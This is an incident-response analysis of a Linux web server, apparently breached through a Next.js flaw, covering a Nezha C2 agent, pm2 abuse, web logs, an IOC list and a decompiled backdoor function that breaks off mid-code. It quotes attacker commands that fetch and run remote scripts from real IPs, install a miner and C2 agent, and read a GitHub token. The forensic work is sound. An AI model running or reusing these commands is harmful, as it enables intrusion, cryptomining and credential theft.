"OLDPWD": "/root/.pm2/logs",
"RUSER": "v-whe13",
"S_COLORS": "auto",
"which_declare": "declare -f",
"USER": "root",
"PWD": "/app/nodemdc_n/frontend",
"HOME": "/root",
"HISTFILE": "/root/.histdir/root.v-whe13.20250908-094444",
"MAIL": "/var/spool/mail/root",
"SHELL": "/bin/bash",
"TERM": "xterm",
"SHLVL": "1",
"LOGNAME": "root",
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin",
"PS1": "[$USER@$HOST:$PWD]#\\n#-> ",
"HISTSIZE": "1000",
"LESSOPEN": "||/usr/bin/lesspipe.sh %s",
"BASH_FUNC_which%%": "() { ( alias;\n eval ${which_declare} ) | /usr/bin/which --tty-only --read-alias --read-functions --show-tilde --show-dot $@\n}",
"_": "/usr/local/bin/pm2",
"PM2_USAGE": "CLI",
"PM2_INTERACTOR_PROCESSING": "true",
"PM2_JSON_PROCESSING": "true",
"PORT": 10003,
"PM2_HOME": "/root/.pm2",
"xxmdc": "{}",
"NODE_APP_INSTANCE": 0,
"vizion_running": false,
"km_link": false,
"pm_pid_path": "/root/.pm2/pids/xxmdc-0.pid",
"pm_err_log_path": "/root/.pm2/logs/xxmdc-error-0.log",
"pm_out_log_path": "/root/.pm2/logs/xxmdc-out-0.log",
"exec_interpreter": "/usr/bin/node-22",
"pm_cwd": "/data/xxmdc_n/frontend",
"pm_exec_path": "/usr/local/bin/pnpm",
"node_args": [],
"name": "xxmdc",
"args": [
"start"
],
"env": {
"PORT": 10003
},
"max_memory_restart": 3221225472,
"vizion": true,
"autostart": true,
"autorestart": false,
root@antioch:/mnt/node2-os# ls -alR /mnt/node2-os/opt/nezha 2>/dev/null
/mnt/node2-os/opt/nezha:
total 4
drwxr-xr-x 3 root root 19 Dec 5 21:03 .
drwxr-xr-x. 17 root root 4096 Dec 5 21:03 ..
drwxr-xr-x 2 root root 43 Dec 5 21:03 agent
/mnt/node2-os/opt/nezha/agent:
total 16840
drwxr-xr-x 2 root root 43 Dec 5 21:03 .
drwxr-xr-x 3 root root 19 Dec 5 21:03 ..
-rw------- 1 root root 496 Dec 5 21:03 config.yml
-rwxr-xr-x 1 root root 17236152 Oct 9 09:32 nezha-agent
root@antioch:/mnt/node2-os# grep -R --line-number -i 'nezha' \
/mnt/node2-os/etc \
/mnt/node2-os/opt \
/mnt/node2-os/usr \
2>/dev/null | head -n 40
/mnt/node2-os/etc/systemd/system/nezha-agent.service:3:ConditionFileIsExecutable=/opt/nezha/agent/nezha-agent
/mnt/node2-os/etc/systemd/system/nezha-agent.service:9:ExecStart=/opt/nezha/agent/nezha-agent "-c" "/opt/nezha/agent/config.yml"
/mnt/node2-os/etc/systemd/system/nezha-agent.service:11:WorkingDirectory=/opt/nezha/agent
/mnt/node2-os/etc/systemd/system/nezha-agent.service:20:EnvironmentFile=-/etc/sysconfig/nezha-agent
From config.yml –
server: 107.174.123.91:11451
uuid: f5989726-dbd8-0150-51ca-9c401d9f5cfac
disable_auto_update: false
disable_command_execute: false
skip_connection_count: false
skip_procs_count: false
tls: false
debug: false
C2 address: The agent permanently phones home to 107.174.123.91:11451 (no TLS).
Data type: With skip_connection_count=false and skip_procs_count=false, Nezha is continuously streaming:
• Process list & CPU/mem usage
• Connection counts / active connections
• Basic host metadata (OS, uptime, etc.)
Command execution is enabled: disable_command_execute: false - the operator can send arbitrary commands (via Nezha web UI) which run under root on this box.
No local logs: Nothing in /opt/nezha/agent except nezha-agent and config.yml, and no other nezha strings under /etc, /usr, /opt besides the systemd unit. Therefore:
• What it streams to 107.174.123.91 is not retained locally.
• We can only see side-effects (processes it spawned, files created/changed, etc.), not the telemetry itself.
[Unit]
ConditionFileIsExecutable=/opt/nezha/agent/nezha-agent
[Service]
ExecStart=/opt/nezha/agent/nezha-agent "-c" "/opt/nezha/agent/config.yml"
WorkingDirectory=/opt/nezha/agent
Restart=always
EnvironmentFile=-/etc/sysconfig/nezha-agent
Confirms persistence and runs as root service
Timeline for Nezha install –
From stat –
File: /mnt/node2-os/opt/nezha/agent/nezha-agent
Birth: 2025-12-05 21:03:35 -0500
Change: 2025-12-05 21:03:35 -0500
Modify: 2025-10-09 09:32:22 -0400 (upstream build time)
Access: 2025-12-08 17:41:43 -0500
This aligns with the edr event:
• 2025-12-06T02:03:31Z → that is 2025-12-05 21:03 EST
o wget ... nezha-agent_linux_amd64.zip
o unzip → drop nezha-agent
o systemd service created and started
Nezha is definitively an attacker-installed agent; time of arrival on disk matches the Nezha install event we saw in the EDR.
From /root/.pm2:
• pm2 itself has been around since Dec 1 (reload.lock mtime) and earlier (Sept files).
• Two apps under pm2:
/root/.pm2/logs
bibm-error-1.log
bibm-out-1.log (498 bytes, Dec 5 00:21)
xxmdc-error-0.log
xxmdc-out-0.log (28K, Dec 9 00:30)
/root/.pm2/pids
bibm-1.pid (Dec 5 00:21)
xxmdc-0.pid (Dec 9 00:30)
{
"name": "xxmdc",
"script": "pnpm",
"exec_interpreter": "/usr/bin/node-22",
"pm_exec_path": "/usr/local/bin/pnpm",
"pm_cwd": "/data/xxmdc_n/frontend",
"PORT": 10003,
"pm_err_log_path": "/root/.pm2/logs/xxmdc-error-0.log",
"pm_out_log_path": "/root/.pm2/logs/xxmdc-out-0.log",
"autostart": true,
"autorestart": false
}
• pm2 is the process manager for at least:
o A Node/Next front-end at /data/xxmdc_n/frontend (xxmdc).
o Another app bibm - Drupal
• pm2 itself looks like “normal” pm2 usage, but:
o Any malicious code added into /data/xxmdc_n/frontend or the Drupal/app tree would be continuously run under pm2. We saw the agent.sh present there
o Given we’ve already seen pm2-started processes reaching out to suspicious IPs (38.165.44.205, etc.), pm2 is effectively a “launcher” for whatever the attacker dropped into those app folders.
Anything under pm_cwd and any script pm2 manages is suspect, even if pm2 itself is legitimate.
/mnt/node2/xxmdc_n
backend/ <- app server
frontend/ <- Next.js/React app
.git/ <- full repo history
Jenkinsfile / _scm_jenkins
README.md
xxmdc_n is the full app repo that pm2 is managing
inside frontend
agent.sh <-- NEW, 755, Dec 5 21:03
ecosystem.config.js <-- 2212:netdev, Dec 6 21:17
middleware.ts <-- 2212:netdev, Dec 6 19:25
.next/ <-- built Next app
node_modules/, package*.json, env files, etc.
Key anomalies:
• agent.sh
o Executable, owned by root, timestamp Dec 5 21:03.
o matches the Nezha install time anchored from:
wget ... nezha-agent_linux_amd64.zip at 2025-12-06T02:03Z ( Dec 5 21:03 local).
stat on /opt/nezha/agent/nezha-agent (birth & ctime 21:03 Dec 5).
o agent.sh is the installer script used in the EDR event that ran:
ActingProcessCommandLine: ./agent.sh
o That script is the bridge between the exploited Next.js app and:
Dropping Nezha
writing ecosystem.config.js / tweaking pm2
Potentially pulling down other payloads (miners, extra tools, etc.)
• ecosystem.config.js & middleware.ts
o Owner: uid 2212, group netdev (everything else is root:root).
o Modified Dec 6, after Nezha landed:
middleware.ts: Dec 6 19:25
ecosystem.config.js: Dec 6 21:17
o That is post-compromise tampering:
middleware.ts is the Next.js request middleware — a perfect place to:
Add a backdoor route
Hide a webshell
Implement the React/NextJS exploit chain / SSRF helpers
ecosystem.config.js configures pm2:
Could be altered to auto-start extra processes (miners, data siphons, “watchers” for specific folders).
It’s essentially the pm2-side persistence and process orchestration config.
from timestamps and ownership:
• Dec 5 21:03 – agent.sh & Nezha drop.
• Dec 6 – application-layer modifications (middleware.ts, ecosystem.config.js) – which lines up with:
o The time window where we saw pm2-managed Node processes talking to suspicious external IPs.
o The React/NextJS exploitation.
Anything the frontend app can read is in scope for both:
• direct exfil via app logic (backdoored middleware.ts / API routes), and
• commands run from Nezha
ecosystem.config.js
module.exports = {
apps: [{
name: 'xxmdc',
script: 'pnpm',
args: 'start',
env: {
PORT: 10003
},
instances: '1',
exec_mode: 'cluster',
autorestart: false,
cron_restart: '*/30 * * * *',
watch: false,
max_memory_restart: '3G',
}]
};
This is pm2’s definition for the xxmdc app:
• name: xxmdc
• script: pnpm
• args: start
o pm2 is not directly running node; it runs pnpm start. That in turn launches the Next.js app using whatever is defined in package.json.
• env.PORT = 10003
o Confirms the frontend app is listening on TCP 10003 (matches what we saw in pm2 dump / runtime env).
• instances: '1', exec_mode: 'cluster'
o Single instance, but running with the “cluster” mode wrapper.
• **autorestart: false, cron_restart: '/30 * * * '
o pm2 will not restart this process immediately if it crashes.
o Instead, pm2 is configured to restart it every 30 minutes via cron, regardless.
• max_memory_restart: '3G'
o If the process somehow grows beyond 3 GB RSS, pm2 would restart it.
this is the process manager definition for the compromised Next.js app.
Combined with the pm2 dump from earlier:
• pm_cwd: /data/xxmdc_n/frontend
• pm_exec_path: /usr/local/bin/pnpm
• exec_interpreter: /usr/bin/node-22
• PM2_HOME: /root/.pm2
• running as root
pm2 (as root) is supervising the Next.js app in /data/xxmdc_n/frontend, serving on :10003, restarting it every 30 minutes.
On its own, this file is not malicious – it’s “normal” pm2 config – but in this incident the pm2 context is clearly abused.
agent.sh is a first-party Nezha installer/bootstraper:
Pre-flight checks
o Requires: curl, unzip, grep.
o Detects architecture via uname -m → in this case this becomes:
os="linux"
os_arch="amd64"
o Optionally does a Cloudflare trace (geo_check) to decide if it should use GitHub or Gitee mirrors (CN vs non-CN).
NZ_AGENT_URL="https://${GITHUB_URL}/nezhahq/agent/releases/latest/download/nezha-agent_${os}_${os_arch}.zip"
Download & install the agent
• Uses wget or curl to drop the agent ZIP into /tmp:
wget --timeout=60 -O /tmp/nezha-agent_linux_amd64.zip "$NZ_AGENT_URL"
Creates /opt/nezha/agent, unzips there, then deletes the zip:
sudo mkdir -p /opt/nezha/agent
sudo unzip -qo /tmp/nezha-agent_linux_amd64.zip -d /opt/nezha/agent
Write config + register the service
• Ensures a config file under /opt/nezha/agent/config.yml (or a randomized variant).
• Requires these env vars to be set when it runs:
o NZ_SERVER
o NZ_CLIENT_SECRET
o (also uses NZ_UUID, NZ_TLS, NZ_DISABLE_*, etc.)
• Builds an env string:
env="NZ_UUID=$NZ_UUID NZ_SERVER=$NZ_SERVER NZ_CLIENT_SECRET=$NZ_CLIENT_SECRET \
NZ_TLS=$NZ_TLS NZ_DISABLE_AUTO_UPDATE=$NZ_DISABLE_AUTO_UPDATE \
NZ_DISABLE_FORCE_UPDATE=$DISABLE_FORCE_UPDATE \
NZ_DISABLE_COMMAND_EXECUTE=$NZ_DISABLE_COMMAND_EXECUTE \
NZ_SKIP_CONNECTION_COUNT=$NZ_SKIP_CONNECTION_COUNT"
Next –
sudo /opt/nezha/agent/nezha-agent service -c uninstall # clean
sudo env ... /opt/nezha/agent/nezha-agent service -c install
That service ... install call is what creates the systemd unit and enables the agent.
Abridged version –
agent.sh = “download Nezha from GitHub → unpack into /opt/nezha/agent → create config → register & start as a systemd service with your NZ_SERVER, UUID and client secret.”
After the installation of Nezha we go from web-app remote code execution to host level C2
Nezha takes over as continuous C2
• Nezha starts on boot and runs as root.
• disable_command_execute: false + skip_*: false → the operator can:
o Run commands (lsb_release, ps, ls, etc.).
o See process and connection counts.
• All of that is streamed back to 107.174.123.91:11451, not logged locally.
pm2 context remains toxic
• pm2 continues to supervise xxmdc and restart it every 30 minutes via cron_restart.
• The app itself (and any custom code / injected hooks) is still governed by pm2.
• that node-22 / pm2 processes make external connections (e.g. 38.165.44.205), so anything the app can read (source, configs, env, tokens) is fair game.
From the EDR data:
• Parent: /opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
• Child: /usr/bin/bash running /usr/bin/lsb_release
• User: root
• Time: burst of events on 2025-12-09 around 06:48:14Z
parentName: /opt/nezha/agent/nezha-agent
objectCmd: /usr/bin/lsb_release
Nezha executes local OS fingerprinting commands (lsb_release) via a shell, as root. That is consistent with its “system info / monitoring” role, but in a compromise context, it’s also attacker recon.
Separate from Nezha, the same host also pulled and executed other scripts as root:
linux.sh from 154.36.175.48:3232
• Time: 2025-12-06 02:54:38.412
• Actor: /bin/sh -c curl http://154.36.175.48:3232/linux.sh
• Child: curl http://154.36.175.48:3232/linux.sh
• User: root
A remote shell script from 154.36.175.48:3232/linux.sh was fetched and executed as root. That’s a separate stage of the intrusion
Multiple setup2.sh pulls from 128.199.194.97 and 139.59.59.33
• wget -O - http://128.199.194.97:9001/setup2.sh
• wget -O - http://128.199.194.97:9003/setup2.sh |sh
• wget -O - http://139.59.59.33:9004/setup2.sh |sh
xmrig
All:
• Run under root
• Spread across 2025-12-06 and 2025-12-07
• Some explicitly piped directly into sh (i.e., remote code execution via HTTP).
curl http://159.89.142.251:9002/lived.sh -o /tmp/runnv/lived.sh
the above is where the miner lives now
The host repeatedly fetched and executed remote shell scripts from at least three attacker IPs:
o 154.36.175.48:3232
o 128.199.194.97:9001 and :9003
o 139.59.59.33:9004
2. Every one of these was executed as root.
This aligns with the picture we already had: Nezha is one C2 channel, but the attacker also used “plain curl/wget + shell script” as additional payload delivery and execution.
1. pm2 is running as root and managing the xxmdc NextJS app from /data/xxmdc_n/frontend.
2. pm2 has cron-based restart every 30 minutes, meaning anything hooked into that process tree has regular opportunities to execute.
pm2 god-daemon → /bin/sh -c curl http://128.199.194.97:9003/setup2.sh
• The pm2 “God Daemon” events and the curl/wget setup2.sh events are very close in time.
• From the OS snapshot and pm2 dump, we already know pm2 was the orchestrator for the compromised NextJS app.
• In earlier EDR data God Daemon is associated with outbound to malicious infrastructure.
Hence
Careful conclusion:
• pm2 was being abused as a long-lived, root-level process manager that the attacker leaned on to keep their Node-based bits and cron-like behavior alive.
• From this file alone, the relationship is temporal and architectural rather than a neat single parent PID in every row.
• pm2 is managing xxmdc as root with cron restart.
• pm2’s environment was part of the attacker’s persistence and script-execution surface, especially in combination with the NextJS/React app vulnerability.
Confirmed Nezha actions on this host
• Installed via ./agent.sh as root.
• Registered to 107.174.123.91:11451 using the UUID + client_secret .
o Ran lsb_release via bash to fingerprint OS.
o Ran git config --get --null github.token (twice) to pull any GitHub token from config.
Current status –
Initial foothold / exploitation
• a NextJS/pm2-managed environment (xxmdc) had ./agent.sh executed as root from the frontend directory.
Nezha deployment
• agent.sh → wget from GitHub → unzip into /opt/nezha/agent → systemd service installed → persistent C2 to 107.174.123.91:11451.
Recon & possible credential theft
• Nezha (or its installer) executed lsb_release and git config --get --null github.token as root.
• That is strong evidence of system recon and an attempt to harvest GitHub credentials.
Secondary tooling / payloads
• Root executed remote scripts from:
o 154.36.175.48:3232/linux.sh
o 128.199.194.97:9001/setup2.sh
o 128.199.194.97:9003/setup2.sh (some piped directly to sh)
o 139.59.59.33:9004/setup2.sh (also piped to sh)
• These were clearly attacker-controlled second stages, independent of Nezha, but running alongside it. (xmrig)
pm2’s role
• pm2 is confirmed as root-level process manager for xxmdc (NextJS, pnpm, Node 22) with cron-based restarts.
• Combined with the above, it is fair to treat everything under /data/xxmdc_n and pm2’s Node processes as compromised
Web Log Analysis –
Extracted From : node2.financemed.cn.access.log
The FrontEnd WAFs are :
10.227.99.68
10.227.99.70
They sit in front of the site
Github repo enumeration attempt –
2025-12-04 09:50:08 +0800
Request: GET //.git/config HTTP/1.1
UA: python-requests/2.2.1 CPython/2.7.6 Linux/4.4.0-93-generic
“.git leak” scanner. pre-recon we expect before an app-layer exploit.
First wave of /formaction hits
From 10.227.99.70 & 10.227.99.68:
• 2025-12-04 09:51:24 +0800 (10.227.99.70)
POST /formaction
UA: -
Status: 500
• 2025-12-04 10:29:46 +0800 (both 10.227.99.68 and 10.227.99.70)
GET /formaction / POST /formaction
UA: CVE-2025-55182-Exploit/2.0
Status: 404 / 500
We have exploit tooling announcing itself as User-Agent: CVE-2025-55182-Exploit/2.0.
Both internal front-end IPs hit /formaction in the same second, very much like a WAF doing load-balanced replay or mirrored tests.
Follow-up /formaction and curl
From 10.227.99.70:
• 2025-12-04 10:34:23 +0800
POST /formaction
UA: -
Status: 500
• 2025-12-04 10:44:54 +0800
GET /formaction
UA: Mozilla/5.0 ... Chrome/83.0.4103.116
Status: 404
• 2025-12-04 10:58:10 +0800
POST /formaction
UA: curl/7.81.0
Status: 500, response ~2 KB
That last line is important:
POST /formaction with curl/7.81.0 as the UA, from a front-end node, returning 500.
This lines up with the type of traffic you’d expect when someone is driving an exploit via curl. The HTTP 500 doesn’t mean the exploit failed; for Next.js/React RCE style bugs, the vulnerable SSR code can run and still crash the request, so 500 is totally compatible with “code executed”.
More exploit-tool scanning
From 10.227.99.68:
• 2025-12-04 17:00:17 +0800
POST /formaction
UA: Mozilla/5.0 (compatible; CVE-2025-55182-Scanner)
Status: 500
internal verification once the CVE became public.
Do the web logs show traditional data exfiltration –
HTTP status codes for the exploit and scanner requests are mostly 404 and 500.
The response sizes on those requests are tiny — typically a couple of kilobytes at most (max around 10 KB in the suspicious set).
That pattern is consistent with:
Enumeration (404 on non-existent paths like /.git/config in some dirs).
Crashing the app or hitting error handlers (500 on /formaction), not streaming large blobs of data out over HTTP.
Given what we already know:
Nezha: outbound to 107.174.123.91:11451, collecting resource, process, connection, and OS info at the agent level.
pm2 / Node / Next.js: remote control used to run agent.sh, which pulled Nezha and set up persistence.
EDR + snapshot: show Nezha’s systemd unit and config, and pm2 managing xxmdc via pnpm start under Node 22.
it matches the picture where:
HTTP was used purely for initial code execution (CVE-2025-55182 via /formaction), and all interesting post-exploitation activity moved to outbound TCP (Nezha + whatever pm2/Node did), not via big HTTP file downloads from the web server.
The vhost access log does not reveal big data dumps. It mainly confirms the exploit entry point and recon.
Conclusion / Assessment
Telemetry and analysis of snapshot from node2.financemed.cn confirms a full compromise of the public-facing Next.js/React front-end via CVE-2025-55182 in React Server Components, exploited through the /formaction endpoint after days of automated recon and exploit scanning. Once the vulnerability was successfully abused, the Node.js/pm2-managed application spawned /bin/sh and executed attacker-controlled one-liners (e.g. curl | bash, wget | sh) to pull remote scripts.
Those scripts established multiple stages of persistence and C2:
• Stage 1 “ntpclient” backdoor from 38.165.44[.]205 under ~/.systemd-utils, with crontab, fake systemd service, and shell-startup injection for persistence.
• Stage 2 deployment of Cobalt Strike via react2shell and additional loaders from 154.89.152[.]240, 128.199.194[.]97 and 139.59.59[.]33.
• Stage 3 host-level C2 via Nezha agent, installed as a root systemd service (nezha-agent.service) under /opt/nezha/agent, beaconing in cleartext to 107.174.123.91:11451 with command-execution enabled.
• Stage 4 tooling delivered via additional scripts (e.g. linux.sh, lived.sh) and executed as root.
Nezha activity (OS fingerprinting and attempts to read github.token) shows that the external entity moved beyond simple tools into credential harvesting and host reconnaissance, using a persistent root-level agent and pm2 as a long-lived execution surface. While the web access logs do not show large HTTP responses consistent with bulk data exfil, the combination of:
• root-level remote command execution (Nezha + pm2),
• access to application source, .env files and root’s home directory,
• and explicit attempts to retrieve GitHub tokens,
indicate enumeration and credential exposure.
IOC list
1. Network / Infrastructure
Primary C2 / tooling infrastructure
• 38.165.44[.]205
o http://38.165.44[.]205/s – initial loader script
o http://38.165.44[.]205/1 – fake ntpclient binary
o http://38.165.44[.]205/api and http://38.165.44[.]205:8081/api – config endpoint for ntpclient
• 154.89.152[.]240
o hxxp://154.89.152[.]240/check.sh – 2nd-stage script
o hxxp://154.89.152[.]240//a_x64 – payload written as /usr/local/rsyslo/rsyslo
• 128.199.194[.]97 (DigitalOcean, api.hs-my.com)
o hxxp://128.199.194[.]97:9001/setup2.sh
o hxxp://128.199.194[.]97:9003/setup2.sh
• 139.59.59[.]33 (DigitalOcean, br.aaft.com)
o hxxp://139.59.59[.]33:9004/setup2.sh
• 154.36.175[.]48:3232
o hxxp://154.36.175[.]48:3232/linux.sh – additional loader / miner-related script
• 159.89.142[.]251:9002
o hxxp://159.89.142[.]251:9002/lived.sh – installs / updates miner (modified xmrig-family)
Nezha C2
• 107.174.123[.]91:11451 – Nezha panel / C2 endpoint (no TLS)
o Seen in NZ_SERVER=107.174.123.91:11451 and in /opt/nezha/agent/config.yml (server: 107.174.123.91:11451)
Scanner / exploit traffic sources
• 39.99.39[.]155 – .git / .svn exposure scanner
• 112.121.183[.]70, 216.118.251[.]162, 155.117.98[.]114 – LFI/XSS/SQLi multi-vector probes
• 223.18.60[.]25 – CVE-2025-55182-Exploit/2.0 user-agent
• 43.251.225[.]234 – CVE-2025-55182-Scanner user-agent
• 60.249.31[.]150, 60.249.13[.]135 – /formaction probes and curl/7.81.0 exploit traffic
Anamolous HTTP User-Agents
• CVE-2025-55182-Exploit/2.0
• CVE-2025-55182-Scanner
• python-requests/2.2.1 CPython/2.7.6 Linux/4.4.0-93-generic (repo / VCS leakage scans)
Malicious / Suspicious Files & Paths
Backdoor / miner chain
• ~/.systemd-utils/ntpclient – fake NTP client ELF backdoor
• /etc/systemd/system/systemd-utils.service – persistence for ntpclient
• /usr/local/rsyslo/rsyslo – secondary payload from 154.89.152[.]240//a_x64
• /etc/systemd/system/rsyslo.service – service tied to rsyslo binary
• /tmp/1765110937964_X8RXFO0g_streamts
• /tmp/1765099346253_3jkgCirx_streamts – temp payloads associated with Next.js process
• /tmp/runnv/lived.sh – miner loader script from 159.89.142[.]251:9002
Nezha agent / config
• /opt/nezha/agent/nezha-agent – attacker-installed Nezha agent
• /opt/nezha/agent/config.yml – Nezha configuration (includes C2, UUID, flags)
• /etc/systemd/system/nezha-agent.service – root systemd unit for Nezha
Application-layer artifacts tied to compromise
• /data/xxmdc_n/frontend/agent.sh – Nezha installer script executed as root (./agent.sh)
• /data/xxmdc_n/frontend/middleware.ts – modified post-compromise (potential backdoor / traffic handling abuse)
• /data/xxmdc_n/frontend/ecosystem.config.js – pm2 process definition (cron-based restarts, root context)
• /root/.pm2/ – pm2 runtime (logs, dump, pids) used as a persistence/execution surface for the compromised Next.js app (xxmdc)
Hashes
Executables / payloads
• ~/.systemd-utils/ntpclient
o SHA-1: 1B5ABA88BA7C4011D081B499CE6009DF69E5DBCF
o EDR detection: Troj.ELF.TRX.XXELFC1DFF058 (action: Pass in current config)
• /tmp/1765110937964_X8RXFO0g_streamts and/or /tmp/1765099346253_3jkgCirx_streamts
o SHA-1: 68ca8e4d89afcdc8300c603d7805d1ccb05bc08e
• /opt/nezha/agent/nezha-agent
o SHA-256: d4136e09654b104dc05da8a3dcde0823746deba425ef5fbcf7472e810801a6b1
Processes / Commands (TTP IOCs)
Loader / backdoor commands
• wget -q http://38.165.44[.]205/1 -O ntpclient
• wget -qO- http://38.165.44[.]205/s | sh
• curl 154.89.152[.]240/check.sh | bash
• curl -fL hxxp://154.89.152[.]240//a_x64 -o /usr/local/rsyslo/rsyslo
• wget -O - hxxp://128.199.194[.]97:9001/setup2.sh
• wget -O - hxxp://128.199.194[.]97:9003/setup2.sh | sh
• wget -O - hxxp://139.59.59[.]33:9004/setup2.sh | sh
• /bin/sh -c curl hxxp://154.36.175[.]48:3232/linux.sh | sh
• curl hxxp://159.89.142[.]251:9002/lived.sh -o /tmp/runnv/lived.sh
Nezha-specific
• ./agent.sh (from /data/xxmdc_n/frontend) – Nezha installer
• wget --timeout=60 -O /tmp/nezha-agent_linux_amd64.zip https://github.com/nezhahq/agent/releases/latest/download/nezha-agent_linux_amd64.zip
• env NZ_UUID=... NZ_SERVER=107.174.123.91:11451 NZ_CLIENT_SECRET=... NZ_TLS=false ... /opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml install
• /opt/nezha/agent/nezha-agent -c /opt/nezha/agent/config.yml
• Child commands spawned by Nezha (run as root):
o /usr/bin/lsb_release
o git config --global --get --null github.token
Application / pm2 context
• node ... next/dist/bin/next start → /bin/sh -c wget -qO- http://38.165.44.205/s | sh
• PM2 v6.0.9: God Daemon (/root/.pm2) spawning:
o /bin/sh -c wget -O - hxxp://128.199.194[.]97:9003/setup2.sh | sh
o /bin/sh -c wget -O - hxxp://139.59.59[.]33:9004/setup2.sh | sh
Reverse Analysis -
reverse analysis of files
File name: ntpclient
MD5: 533585EB6A8A4AAD2AD09BBF272EB45B
SHA1: 1B5ABA88BA7C4011D081B499CE6009DF69E5DBCF
PESHA1: 1B5ABA88BA7C4011D081B499CE6009DF69E5DBCF
PE256: 776850A1E6D6915E9BF35AA83554616129ACD94E3A3F6673BD6DDAEC530F4273
SHA256: 776850A1E6D6915E9BF35AA83554616129ACD94E3A3F6673BD6DDAEC530F4273
This file (SHA1: 1b5aba88ba7c4011d081b499ce6009df69e5dbcf) is a 64-bit little-endian ELF executable file. It conforms to System V ABI and is intended for AMD x86-64 architecture. Cryptography related data was found in the file. This application has cryptography related capabilities.
As established in the main analysis – the ntpclient is most definitely not an NTP client. The following function is of interest:
undefined8 FUN_00406233(undefined8 param_1,undefined8 param_2,undefined **param_3,long param_4)
{
byte bVar1;
char cVar2;
undefined8 *puVar3;
int iVar4;
uint uVar5;
undefined4 uVar6;
byte *pbVar7;
long *plVar8;
undefined8 uVar9;
long lVar10;
undefined4 *puVar11;
undefined1 *puVar12;
uint uVar13;
ulong uVar14;
char *pcVar15;
long lVar16;
long lVar17;
long *plVar18;
uint uVar19;
undefined8 *puVar20;
uint uVar21;
uint uVar22;
undefined8 uVar23;
byte *pbVar24;
undefined1 *puVar25;
long *plVar26;
byte *pbVar27;
long *unaff_R15;
long in_FS_OFFSET;
byte bVar28;
uint local_150;
undefined1 local_140 [256];
long local_40;
bVar28 = 0;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
pbVar7 = (byte *)FUN_00457b10(param_2);
iVar4 = FUN_00457a62(pbVar7,"common");
puVar3 = DAT_0068f320;
if (iVar4 != 0) {
if (DAT_0068f320 != (undefined8 *)0x0) {
uVar14 = 0xffffffffffffffff;
pbVar24 = pbVar7;
do {
if (uVar14 == 0) break;
uVar14 = uVar14 - 1;
bVar1 = *pbVar24;
pbVar24 = pbVar24 + (ulong)bVar28 * -2 + 1;
} while (bVar1 != 0);
uVar19 = 0x9e3779b9;
uVar13 = 0x9e3779b9;
uVar14 = ~uVar14 - 1;
uVar5 = 0xfeedbeef;
local_150 = (uint)uVar14;
pbVar24 = pbVar7;
for (uVar21 = local_150; 0xb < uVar21; uVar21 = uVar21 - 0xc) { iVar4 = (uint)pbVar24[7] * 0x1000000 + (uint)pbVar24[6] * 0x10000 + uVar19 + pbVar24[4] + (uint)pbVar24[5] * 0x100; uVar5 = (uint)pbVar24[0xb] * 0x1000000 + (uint)pbVar24[10] * 0x10000 + uVar5 + pbVar24[8] + (uint)pbVar24[9] * 0x100; uVar13 = (((uint)pbVar24[3] * 0x1000000 + (uint)pbVar24[2] * 0x10000 + uVar13 + *pbVar24 + (uint)pbVar24[1] * 0x100) - iVar4 ) - uVar5 ^ uVar5 >> 0xd;
uVar19 = (iVar4 - uVar5) - uVar13 ^ uVar13 << 8; uVar5 = (uVar5 - uVar13) - uVar19 ^ uVar19 >> 0xd;
pbVar24 = pbVar24 + 0xc;
uVar13 = (uVar13 - uVar19) - uVar5 ^ uVar5 >> 0xc;
uVar19 = (uVar19 - uVar5) - uVar13 ^ uVar13 << 0x10; uVar5 = (uVar5 - uVar13) - uVar19 ^ uVar19 >> 5;
uVar13 = (uVar13 - uVar19) - uVar5 ^ uVar5 >> 3;
uVar19 = (uVar19 - uVar5) - uVar13 ^ uVar13 << 10; uVar5 = (uVar5 - uVar13) - uVar19 ^ uVar19 >> 0xf;
}
uVar5 = uVar5 + local_150;
switch(uVar21) {
case 0xb:
uVar5 = uVar5 + (uint)pbVar24[10] * 0x1000000;
case 10:
uVar5 = uVar5 + (uint)pbVar24[9] * 0x10000;
case 9:
uVar5 = uVar5 + (uint)pbVar24[8] * 0x100;
case 8:
uVar19 = uVar19 + (uint)pbVar24[7] * 0x1000000;
case 7:
uVar19 = uVar19 + (uint)pbVar24[6] * 0x10000;
case 6:
uVar19 = uVar19 + (uint)pbVar24[5] * 0x100;
case 5:
uVar19 = uVar19 + pbVar24[4];
case 4:
uVar13 = uVar13 + (uint)pbVar24[3] * 0x1000000;
case 3:
uVar13 = uVar13 + (uint)pbVar24[2] * 0x10000;
case 2:
uVar13 = uVar13 + (uint)pbVar24[1] * 0x100;
case 1:
uVar13 = uVar13 + *pbVar24;
default:
unaff_R15 = (long *)DAT_0068f320[0x12];
uVar13 = (uVar13 - uVar19) - uVar5 ^ uVar5 >> 0xd;
uVar19 = (uVar19 - uVar5) - uVar13 ^ uVar13 << 8; uVar21 = (uVar5 - uVar13) - uVar19 ^ uVar19 >> 0xd;
uVar5 = (uVar13 - uVar19) - uVar21 ^ uVar21 >> 0xc;
uVar13 = (uVar19 - uVar21) - uVar5 ^ uVar5 << 0x10; uVar21 = (uVar21 - uVar5) - uVar13 ^ uVar13 >> 5;
uVar5 = (uVar5 - uVar13) - uVar21 ^ uVar21 >> 3;
uVar13 = (uVar13 - uVar21) - uVar5 ^ uVar5 << 10; lVar16 = *(long *)((ulong)((uVar13 >> 0xf ^ (uVar21 - uVar5) - uVar13) &
(int)unaff_R15[1] - 1U) * 0x10 + *unaff_R15);
}
while ((lVar16 != 0 &&
(puVar20 = (undefined8 *)(lVar16 - unaff_R15[4]), puVar20 != (undefined8 *)0x0))) {
if ((uVar14 == *(uint *)(puVar20 + 0x18)) &&
(iVar4 = FUN_0045799b(puVar20[0x17],pbVar7,uVar14), iVar4 == 0)) goto LAB_004065f3;
lVar16 = puVar20[0x16];
}
}
puVar20 = (undefined8 *)FUN_00405fdf(pbVar7);
if (puVar20 != (undefined8 *)0x0) {
lVar16 = -1;
puVar20[0x14] = 0;
unaff_R15 = puVar20 + 0x12;
puVar20[0x17] = (char *)*puVar20;
pcVar15 = (char *)*puVar20;
do {
if (lVar16 == 0) break;
lVar16 = lVar16 + -1;
cVar2 = *pcVar15;
pcVar15 = pcVar15 + (ulong)bVar28 * -2 + 1;
} while (cVar2 != '\0');
*(uint *)(puVar20 + 0x18) = ~(uint)lVar16 - 1;
if (puVar3 == (undefined8 *)0x0) {
puVar20[0x13] = 0;
DAT_0068f320 = puVar20;
